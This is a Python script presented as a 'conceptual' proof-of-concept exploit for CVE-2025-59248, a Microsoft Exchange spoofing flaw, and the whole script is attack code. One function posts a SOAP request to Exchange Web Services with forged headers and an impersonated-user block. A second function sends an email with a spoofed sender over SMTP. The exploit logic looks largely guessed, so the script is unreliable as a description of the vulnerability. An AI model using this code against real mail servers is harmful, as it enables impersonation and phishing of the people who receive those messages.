CVE-2025-59248

# CVE-2025-59248 - Microsoft Exchange Server Spoofing PoC (Conceptual) # This is a conceptual PoC demonstrating the spoofing attack vector # The vulnerability exists in improper input validation in Exchange Server import requests import urllib3 urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) TARGET_URL = "https://target-exchange-server/EWS/Exchange.asmx" # Step 1: Craft a spoofed request exploiting improper input validation # The vulnerability allows an unauthenticated attacker to spoof identity def exploit_spoofing(target_url, spoofed_identity): """ Exploit improper input validation in Exchange Server to perform spoofing attack over the network. """ headers = { "Content-Type": "text/xml; charset=utf-8", "SOAPAction": "http://schemas.microsoft.com/exchange/services/2006/messages/ResolveNames", # Spoofed identity header - exploiting lack of input validation "X-Forwarded-For": spoofed_identity, "X-AnonUser": "[email protected]" } # SOAP envelope with crafted input to bypass validation soap_payload = f"""<?xml version="1.0" encoding="utf-8"?> <soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/" xmlns:t="http://schemas.microsoft.com/exchange/services/2006/types"> <soap:Header> <t:RequestServerVersion Version="Exchange2016"/> <!-- Spoofed sender identity exploiting improper validation --> <t:ImpersonatedUser> <t:ConnectingSID> <t:PrincipalName>[email protected]</t:PrincipalName> </t:ConnectingSID> </t:ImpersonatedUser> </soap:Header> <soap:Body> <ResolveNames xmlns="http://schemas.microsoft.com/exchange/services/2006/messages" ReturnFullContactData="true"> <UnresolvedEntry>{spoofed_identity}</UnresolvedEntry> </ResolveNames> </soap:Body> </soap:Envelope>""" try: response = requests.post( target_url, data=soap_payload, headers=headers, verify=False, timeout=30 ) if response.status_code == 200: print(f"[+] Spoofing successful - Server accepted forged identity") print(f"[+] Response: {response.text[:500]}") return response.text else: print(f"[-] Request returned status code: {response.status_code}") except Exception as e: print(f"[-] Error: {e}") return None # Step 2: Alternative - SMTP spoofing via Exchange Server def smtp_spoof(target_host, sender_email, recipient_email): """ Exploit improper input validation to spoof email sender """ import smtplib from email.mime.text import MIMEText msg = MIMEText("This is a spoofed email exploiting CVE-2025-59248") msg['Subject'] = 'Legitimate Looking Email' msg['From'] = sender_email # Spoofed sender msg['To'] = recipient_email try: server = smtplib.SMTP(target_host, 25) server.ehlo() server.sendmail(sender_email, [recipient_email], msg.as_string()) server.quit() print(f"[+] Spoofed email sent from {sender_email} to {recipient_email}") except Exception as e: print(f"[-] SMTP Error: {e}") if __name__ == "__main__": print("[*] CVE-2025-59248 - Microsoft Exchange Server Spoofing PoC") print("[*] WARNING: For authorized testing only\n") # exploit_spoofing(TARGET_URL, "[email protected]") # smtp_spoof("mail.target.com", "[email protected]", "[email protected]")

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